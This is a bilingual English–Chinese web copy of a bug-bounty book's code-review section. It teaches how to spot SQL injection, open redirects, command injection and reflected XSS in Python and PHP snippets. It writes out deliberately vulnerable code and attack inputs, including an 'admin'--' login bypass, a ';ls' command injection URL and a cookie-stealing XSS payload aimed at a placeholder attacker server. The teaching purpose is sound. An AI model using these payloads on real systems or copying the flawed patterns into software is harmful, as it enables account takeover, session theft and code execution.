- The Guide to Finding and Reporting Web Vulnerabilities
- About the Author
- About the Tech Reviewer
- Foreword
- Introduction
- Who This Book Is For
- What Is In This Book
- Happy Hacking!
- 1 Picking a Bug Bounty Program
- 2 Sustaining Your Success
- 3 How the Internet Works
- 4 Environmental Setup and Traffic Interception
- 5 Web Hacking Reconnaissance
- 6 Cross-Site Scripting
- 7 Open Redirects
- 8 Clickjacking
- 9 Cross-Site Request Forgery
- 10 Insecure Direct Object References
- 11 SQL Injection
- 12 Race Conditions
- 13 Server-Side Request Forgery
- 14 Insecure Deserialization
- 15 XML External Entity
- 16 Template Injection
- 17 Application Logic Errors and Broken Access Control
- 18 Remote Code Execution
- 19 Same-Origin Policy Vulnerabilities
- 20 Single-Sign-On Security Issues
- 21 Information Disclosure
- 22 Conducting Code Reviews
- 23 Hacking Android Apps
- 24 API Hacking
- 25 Automatic Vulnerability Discovery Using Fuzzers
The Detailed Approach
If you have more time, complement the fast techniques with a more extensive source code review to find subtle vulnerabilities. Instead of reading the entire codebase line by line, try these strategies to maximize your efficiency.
如果你有更多的时间,可以通过更详细的源代码审查来发现微妙的漏洞来补充快速技术。不要逐行阅读整个代码库,尝试使用这些策略来最大化你的效率。
Important Functions
When reading source code, focus on important functions, such as authentication, password reset, state-changing actions, and sensitive info reads. For example, you’d want to take a close look at this login function, written in Python:
阅读源代码时,专注于重要的函数,例如身份验证、密码重置、状态更改操作和敏感信息读取。例如,您想仔细查看 Python 中编写的此登录函数。
def login():
query = "SELECT * FROM users WHERE username = '" + \
1 request.username + "' AND password = '" + \
request.password + "';"
authed_user = database_call(query)
2 login_as(authed_user)
This function looks for a user in the database by using a SQL query constructed from the username and password provided by the user 1 . If a user with the specified username and password exists, the function logs in the user 2 .
该功能通过使用用户提供的用户名和密码构建 SQL 查询在数据库中查找用户。如果存在具有指定用户名和密码的用户,则该功能将登录该用户。
This code contains a classic example of a SQL injection vulnerability. At 1 , the application uses user input to formulate a SQL query without sanitizing the input in any way. Attackers could formulate an attack, for example, by entering admin'--
as the username to log in as the admin user. This works because the query would become the following:
这段代码包含经典的 SQL 注入漏洞示例。在 1 处,应用程序使用用户输入来构建 SQL 查询,而没有以任何方式对输入进行消毒。攻击者可以通过输入 admin'--作为用户名来发起攻击,以作为管理员用户登录。这有效是因为查询变成了以下形式:
SELECT password FROM users WHERE username = 'admin' --' AND password = '';
Which parts of the application are important depend on the priorities of the organization. Also review how important components interact with other parts of the application. This will show you how an attacker’s input can affect different parts of the application.
应用程序中哪些部分是重要的取决于组织的优先事项。还要检查重要组件如何与应用程序的其他部分进行交互。这将展示攻击者的输入如何影响应用程序的不同部分。
User Input
Another approach is to carefully read the code that processes user input. User input, such as HTTP request parameters, HTTP headers, HTTP request paths, database entries, file reads, and file uploads provide the entry points for attackers to exploit the application’s vulnerabilities. This can help find common vulnerabilities such as stored XSS, SQL injections, and XXEs.
另一种方法是仔细阅读处理用户输入的代码。用户输入,例如 HTTP 请求参数、HTTP 头、HTTP 请求路径、数据库条目、文件读取和文件上传,为攻击者利用应用程序漏洞提供了入口点。这有助于发现常见的漏洞,例如存储型 XSS、SQL 注入和 XXE。
Focusing on parts of the code that deal with user input will provide a good starting point for identifying potential dangers. Make sure to also review how the user input gets stored or transferred. Finally, see whether other parts of the application use the previously processed user input. You might find that the same user input interacts differently with various components of the application.
专注于处理用户输入的代码部分将为识别潜在危险提供良好的起点。确保还审查用户输入的存储或传输方式。最后,查看应用程序的其他部分是否使用了以前处理的用户输入。您可能会发现,同样的用户输入与应用程序的各个组件交互方式不同。
For example, the following snippet accepts user input. The PHP variable $_GET
contains the parameters submitted in the URL query string, so the variable $_GET['next']
refers to the value of the URL query parameter named next
:
例如,下面的代码段接受用户输入。PHP 变量$_GET 包含在 URL 查询字符串中提交的参数,所以变量$_GET ['next']是指 URL 查询参数命名为 next 的值:
<?php
[...]
if ($logged_in){
1 $redirect_url = $_GET['next'];
2 header("Location: ". $redirect_url);
exit;
}
[...]
?>
This parameter gets stored in the $redirect_url
variable 1 . Then the header()
PHP function sets the response header Location
to that variable 2 . The Location
header controls where the browser redirects a user. This means the user will be redirected to the location specified in the next
URL parameter.
此参数存储在$redirect_url 变量 1 中。然后,header() PHP 函数将响应头设置为该变量 2 的位置。位置标头控制浏览器重定向用户的位置。这意味着用户将被重定向到下一个 URL 参数中指定的位置。
The vulnerability in this code snippet is an open redirect. The next
URL query parameter is used to redirect the user after login, but the application doesn’t validate the redirect URL before redirecting the user. It simply takes the value of the URL query parameter next
and sets the response header accordingly.
该代码片段存在漏洞,即开放式重定向漏洞。在登录后,下一个 URL 查询参数用于将用户重定向,但应用程序在重定向用户之前并不对重定向 URL 进行验证。它仅仅是获取 URL 查询参数 next 的值,并相应地设置响应头。
Even a more robust version of this functionality might contain vulnerabilities. Take a look at this code snippet:
即使更强大的功能版本也可能存在漏洞。看看这段代码片段:
<?php
[...]
if ($logged_in){
$redirect_url = $_GET['next'];
1 if preg_match("/example.com/", $redirect_url){
header("Location: ". $redirect_url);
exit;
}
}
[...]
?>
Now the code contains some input validation: the preg_match(
PATTERN ,
STRING )
PHP function checks whether the STRING matches the regex pattern PATTERN 1 . Presumably, this pattern would make sure the page redirects to a legitimate location. But this code still contains an open redirect. Although the application now validates the redirect URL before redirecting the user, it does so incompletely. It checks only whether the redirect URL contains the string example.com . As discussed in Chapter 7 , attackers could easily bypass this protection by using a redirect URL such as attacker.com/example.com , or example.com.attacker.com .
现在的代码包含一些输入验证:preg_match(PATTERN,STRING)PHP 函数检查 STRING 是否与正则表达式模式 PATTERN 匹配。 1.假定此模式将确保页面重定向到合法位置。 但是,此代码仍包含一个开放式重定向问题。 尽管应用现在在重定向用户之前验证重定向 URL,但该验证不完整。 它仅检查重定向 URL 是否包含字符串 example.com。 如第 7 章所讨论的那样,攻击者可以轻松绕过此保护,方法是使用诸如 attacker.com/example.com 或 example.com.attacker.com 之类的重定向 URL。
Let’s look at another instance where tracing user input can point us to vulnerabilities. The parse_url(
URL, COMPONENT )
PHP function parses a URL and returns the specified URL component. For example, this function will return the string /index.html
. In this case, it returns the PHP_URL_PATH
, the filepath part of the input URL:
让我们看看另一个实例,追踪用户输入可以指出我们漏洞的位置。parse_url(URL,COMPONENT)PHP 函数解析 URL 并返回指定的 URL 组件。例如,此函数将返回字符串/index.html。在这种情况下,它返回 PHP_URL_PATH,输入 URL 的文件路径部分。
parse_url("https://www.example.com/index.html", PHP_URL_PATH)
Can you spot the vulnerabilities in the following piece of PHP code?
你能发现以下 PHP 代码中的漏洞吗?
<?php
[...]
1 $url_path = parse_url($_GET['download_file'], PHP_URL_PATH);
2 $command = 'wget -o stdout https://example.com' . $url_path;
3 system($command, $output);
4 echo "<h1> You requested the page:" . $url_path . "</h1>";
echo $output;
[...]
?>
This page contains a command injection vulnerability and a reflected XSS vulnerability. You can find them by paying attention to where the application uses the user-supplied download_file
parameter.
该页面存在命令注入漏洞和反射型跨站脚本漏洞。只需关注应用程序在何处使用用户提供的 download_file 参数,即可发现它们。
Let’s say this page is located at https://example.com/download . This code retrieves the download_file
URL query parameter and parses the URL to retrieve its path component 1 . Then the server downloads the file located on the example.com server with the filepath that matches the path in the download_file
URL 2 . For example, visiting this URL will download the file https://example.com/abc :
假设这个页面位于 https://example.com/download。这段代码检索 download_file URL 查询参数并解析 URL 以检索其路径组件 1. 然后服务器下载位于 example.com 服务器上与下载文件 URL 中路径匹配的文件 2。例如,访问此 URL 将下载文件 https://example.com/abc:到。
https://example.com/download?download_file=https://example.com/abc
The PHP system()
command executes a system command, and system(
COMMAND, OUTPUT )
will store the output of COMMAND into the variable OUTPUT . This program passes user input into a variable $command
, then into the system()
function 3 . This means that users can get arbitrary code executed by injecting their payload into the $url_path
. They’d simply have to meddle with the download_file
GET parameter while requesting a page, like this:
PHP 的 system() 命令可以执行系统命令,而 system(COMMAND, OUTPUT) 则会将命令的输出存储到变量 OUTPUT 中。这个程序将用户输入传递给变量$command,并将其传递到 system() 函数中。这意味着用户可以通过在请求页面时植入$ url_path 中的有效负载来获取任意代码的执行。他们只需要在请求页面时修改 download_file GET 参数即可。
https://example.com/download?download_file=https://example.com/download;ls
The application then displays a message on the web page by using direct user input 4 . Attackers could embed an XSS payload in the download_file
’s URL path portion and get it reflected onto the victim’s page after a victim user accesses the crafted URL. The exploit URL can be generated with this code snippet. (Note that the second line wraps onto a third for display purposes.)
应用程序使用直接用户输入在网页上显示一条消息。攻击者可以在 download_file 的 URL 路径中嵌入 XSS 有效载荷,并在受害者用户访问制作的 URL 后将其反映到受害者页面上。可以使用此代码片段生成利用 URL(请注意,第二行为显示目的而换行为第三行)。
<?php
$exploit_string = "<script>document.location='http://attacker_server_ip/cookie_stealer
.php?c='+document.cookie;</script>";
echo "https://example.com/" . $exploit_string;
?>
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论